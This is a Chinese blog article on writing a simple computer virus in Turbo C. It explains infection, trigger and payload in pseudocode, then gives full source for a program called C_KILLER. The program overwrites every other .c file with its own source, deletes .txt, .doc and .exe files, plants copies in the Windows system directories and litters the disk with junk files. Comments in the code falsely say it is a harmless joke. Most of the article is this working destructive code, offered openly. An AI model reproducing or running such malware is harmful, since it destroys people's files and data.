[摘要]在分析病毒机理的基础上,用C语言写了一个小病毒作为实例,用TURBOC2.0实现.

[Abstract] This paper introduce the charateristic of the computer virus,then show a simple example written by TURBOC2.0.

一、什么是病毒   
    恶意软件可能是第一个对我们产生影响的计算机安全问题.所以病毒在信息安全中是非常重要的.
    我们要对付病毒,就要了解病毒.
    写一些病毒是一个非常好的办法.
    假设要写一个病毒,先要知道它是什么.可以给病毒一个定义,这一定义是被广泛认可的。Frederic Cohen博士在《计算机病毒简短讲座》中提到的:
“……一种可以通过改动自身来包含或释放自我拷贝而传染给其它程序的程序。“
     
      事实上病毒和普通程序并无太大不同,并且通常比較简单,不像非常多程序那样复杂。仅仅只是病毒里面用到一些正常程序一般不会用到的技术。
     要编制一个病毒,首先要知道病毒的执行机理。
     不论是何种病毒,它一般在结构上分为三个功能模块:感染机制,触发机制和有效载荷。
     在病毒结构中,首要的并且唯一必需的部分是感染机制。病毒首先必须是可以生殖自身的代码,这是病毒之所以成为病毒的根本
原因。我们可以用一段类C伪码来表示这个过程。
InfectSection()
{
if (infectable_object_found
&&object_not_already_infect)
infect_object;
}
 病毒的第二个主要构成部分是有效载荷触发事件.一个病毒来到你的电脑后,不大可能马上发作,否则它不会被传播得非常远.潜伏的敌人永远要比能见到的敌人危急得多.病毒通常是在找到一定数量的感染体,某一日期或时间,某一段文本后触发.
一个简单的触发机制可能是这样工作的:
TriggerSection()
{
if (date_is_Friday_13th_and_time_is_03:13:13)
set_trigger_status_to_yes;
}
有效载荷就是病毒用来骚扰你的电脑的方法,有触发机制的病毒一般也有有效载荷。它能够是随意的给你发一条一次性简单的愚弄信息,又一次格式化你的磁盘,把它自己邮给你的E_mail通信者都能够成为有效的负荷。简单的有效负荷能够例如以下进行:
Executesection()
{
if (trigger_statue_is_yes)
execute_payload;
}
二、 编制病毒的语言
    最常见的编制病毒的语言有汇编语言、VB、C 语言等,我们能够来看一看一个有名的病毒论坛上觉得学写病毒要掌握的基础:
        1).Win32编程,进程,线程,内存,等等。
        2).32位汇编,以指令使用方法为主。386汇编就比較够用了。
        3).PE格式,有精力还能够看一下其他可能被感染的文件的文件格式。
        4).调试技术。VC,TD32,SoftIce,等等。
    要掌握的东西确实非常多,还多听都没听过,非常吓人.但实际上,即使我们对计算机的原理和操作系统不非常了解,并且不熟悉除C
以外的其他语言,仅仅要我们对C的库函数有一定了解,就能够写一些相似病毒的东西.
三 用C编制病毒
    以TurboC2.0为例.它的库函数能够实现非常多功能.
    如以下两个函数:
    1).findfirst和findnext函数:在dir.h。findfirst用来找各种类型的文件,能够得到文件名称文件长度,文件属性等,findnext和findfirst配合使用,用来找到下一个同类型的文件。
    2).remove函数:在stdio.h.仅仅要知道文件名称,能够删除随意类型的文件.
                
四 我写的C病毒   
         <<计算机病毒解密>>上有一句比較经典的话,"也许把恶意软件造成的损害说成是心理上的损害可能会更恰当一些".从这个意义上说,我的病毒是非常典型的病毒.
    以下是我写的病毒.
    它主要由四个模块组成.
    RubbishMaker()可用来在当前文件夹下生成大量随机命名的垃圾文件.
    CreatEXE()将在C盘的敏感地方放置几个.exe垃圾,它们要隐蔽一些。
    Remove()会删掉你的一些东西,所以千万不要随便执行这个程序.
    Breed()是C_KILLER的精华所在,它将kill全部的c程序,并利用它们生殖自身.
    前三个是有效负载.
    第四个能够说是它的感染机制.
/**********************************

IN FACT,IT"S NOT A VIRYUS AT ALL.

**********************************/
#include <io.h>
#include <dir.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
/* copy outfile to infile */
void copyfile(char *infile, char *outfile)
{
FILE *in,*out;
in = fopen(infile,"r");
out = fopen(outfile,"w");
while (!feof(in))
{
fputc(fgetc(in),out);
}
fclose(in);
fclose(out);
}
/*
This function named Rubbishmaker.
*/
void MakeRubbish()
{
int i;
FILE *fp;
char *path;
char *NewName;
char *disk[7] = {"A","B","C","D","E","F","G"};
char *addtion = "://";
/* Make some rubbish at the current catalogue */
for (i = 0; i<5; i++)
{
char tempname[] = "XXXXXX" ;
NewName = mktemp(tempname);
fp = fopen(NewName,"w");
fclose(fp);
}

/* make some rubbish at the root catalogue */
path = strcat(disk[getdisk()],addtion); /* get the root catalogue */
chdir(path); /*change directory according to the "path" */
for (i = 0; i<5; i++)
{
char tempname[] = "XXXXXX";
NewName = mktemp(tempname);
fp = fopen(NewName,"w");
fclose(fp);
}
}

/*
This function can creat some .exe or .com documents in the sensitive place.
Don't worry,It's only a joke.It will do no harm to your computer.
*/
void CreatEXE()
{
int i;
char *path;
char *s[2] = {"C://WINDOWS//system32//loveworm.exe","C://WINDOWS//virusssss.com"};

for ( i = 0; i < 2; i++)
{
open(s[i], 0x0100,0x0080);
copyfile( "C_KILLER.C",s[i]);
}
}

/* remove something from your computer */
void Remove()
{
int done;
int i;
struct ffblk ffblk;
char *documenttype[3] = {"*.txt","*.doc","*.exe"};
for (i = 0; i < 3; i++)
{
done = findfirst(documenttype[i],&ffblk,2);
while (!done)
{
remove(ffblk.ff_name);
done = findnext(&ffblk);
}
}
}

/* overlay the c programs */
void Breed()
{
int done;
struct ffblk ffblk;
done = findfirst("*.c",&ffblk,2);
while (!done)
{
if (strcmp("C_KILLER.C", ffblk.ff_name) != 0 )
{
copyfile("C_KILLER.C",ffblk.ff_name);
}
done = findnext(&ffblk);
}
}

void main()
{
printf("THERE IS A VIRUS BY XIAOKE./n/n");
Breed();
Remove();
CreatEXE();

printf("COULD YOU TELL ME YOUR NAME?/n/n");
printf("NOW,PLEASE ENTER YOUR NAME,OR THERE WILL BE SOME TROUBLE WITH YOU!/n/n");
MakeRubbish();
getchar();
printf("IT'S ONLY A JOKE! THANK YOU!/n/n");
clrscr();
system("cmd");
}

用C语言编写简单的病毒的更多相关文章

  1. 实验 2 用C语言编写简单程序

    #include<stdio.h> int main() { int x,y; printf("enter x:"); scanf("%d",&am ...

  2. 如何用C语言编写病毒‘

    怎样用C语言编写病毒在分析病毒机理的基础上,用C语言写了一个小病毒作为实例,用TURBOC2.0实现.[Abstract] This paper introduce the charateristic ...

  3. 用C语言编写一个简单的词法分析程序

    问题描述: 用C或C++语言编写一个简单的词法分析程序,扫描C语言小子集的源程序,根据给定的词法规则,识别单词,填写相应的表.如果产生词法错误,则显示错误信息.位置,并试图从错误中恢复.简单的恢复方法 ...

  4. [改善Java代码]易变业务使用脚本语言编写

    建议16: 易变业务使用脚本语言编写 Java世界一直在遭受着异种语言的入侵,比如PHP.Ruby.Groovy.JavaScript等,这些“入侵者”都有一个共同特征:全是同一类语言—脚本语言,它们 ...

  5. 运用Python语言编写获取Linux基本系统信息(二):文件系统使用情况获取

    本文跟着上一篇文章继续写,上一篇文章的链接 运用Python语言编写获取Linux基本系统信息(一):获得Linux版本.内核.当前时间 一.随便说说 获取文件系统使用情况的思路和上一篇获取主要系统是 ...

  6. Go 语言编写单元测试

    吾尝终日而思矣,不如须臾之所学也:吾尝跂而望矣,不如登高之博见也.登高而招,臂非加长也,而见者远:顺风而呼,声非加疾也,而闻者彰.假舆马者,非利足也,而致千里:假舟楫者,非能水也,而绝江河.君子生非异 ...

  7. 基于Swt、ffmpeg、jacob、vlc、SApi、h2技术编写简单的旁白生成器

    一.简介: 前一段时间尝试录制了几集3D编程方面的视频教程,我发现录制时最大的障碍是让脑中的思考.手上的操作和嘴里的解说保持同步,一旦三个"线程"中有一个出错,就必须停下来重新录制 ...

  8. 编写简单的辅助脚本来在 Google 表格上记账

    我的第二份工作入职在即,而这一次则真的是完全跑到了一个陌生的城市了.租房,购置相关用品,还尚未工作钱就花掉一堆.尽管我个人之前一直都没有过记账的习惯,但为了让自己能够搞清楚自己的钱都花在哪里了,于是还 ...

  9. Hadoop基础-MapReduce入门篇之编写简单的Wordcount测试代码

    Hadoop基础-MapReduce入门篇之编写简单的Wordcount测试代码 作者:尹正杰 版权声明:原创作品,谢绝转载!否则将追究法律责任. 本文主要是记录一写我在学习MapReduce时的一些 ...

随机推荐

  1. STL之vector容器的实现框架

    说明:本文仅供学习交流,转载请标明出处,欢迎转载. 实现vector容器的思路等同于实现一个动态数组,以下我们參照源代码的相关资料,给出一个vector容器的大致框架,仅仅有声明,没给出详细的实现. ...

  2. amazeui学习笔记--css(HTML元素2)--代码Code

    amazeui学习笔记--css(HTML元素2)--代码Code 一.总结 1.行内代码:code标签<code> 2.代码片段:pre标签<pre> 3.限制代码块高度:添 ...

  3. Instant Client 配置

    Instant Client Download 选择  Instant Client for Microsoft Windows (32-bit)  由于PL/SQL Developer 不支持64b ...

  4. oracle主机名修改

    转自:http://www.cnblogs.com/tippoint/archive/2013/04/07/3003810.html 有的情况下,我们需要修改已经安装oracle数据库的主机名.以下是 ...

  5. web服务器软件(Nginx,Apache,IIS,Lighttpd)介绍

    Nginx是一款轻量级的Web 服务器/反向代理服务器及电子邮件(IMAP/POP3)代理服务器,并在一个BSD-like 协议下发行.其特点是占有内存少,并发能力强,事实上nginx的并发能力确实在 ...

  6. .netcore下的微服务、容器、运维、自动化发布

    原文:.netcore下的微服务.容器.运维.自动化发布 微服务 1.1     基本概念 1.1.1       什么是微服务? 微服务架构是SOA思想某一种具体实现.是一种将单应用程序作为一套小型 ...

  7. 扩展的方法:es6 安装模块builder

    https://github.com/es-shims/es5-shim/ Image.png 检测浏览器可支持es5,不支持就扩展,做兼容: 扩展的方法: Image.png 取所有对象的键值: o ...

  8. Oracle10g中阻塞锁查询更简单

    http://blog.itpub.net/195110/viewspace-677572/ http://blog.sina.com.cn/s/blog_636415010100khcl.html

  9. Scala入门到精通——第十九节 隐式转换与隐式參数(二)

    作者:摇摆少年梦 配套视频地址:http://www.xuetuwuyou.com/course/12 本节主要内容 隐式參数中的隐式转换 函数中隐式參数使用概要 隐式转换问题梳理 1. 隐式參数中的 ...

  10. POJ 题目2823 Sliding Window(RMQ,固定区间长度)

    Sliding Window Time Limit: 12000MS   Memory Limit: 65536K Total Submissions: 46507   Accepted: 13442 ...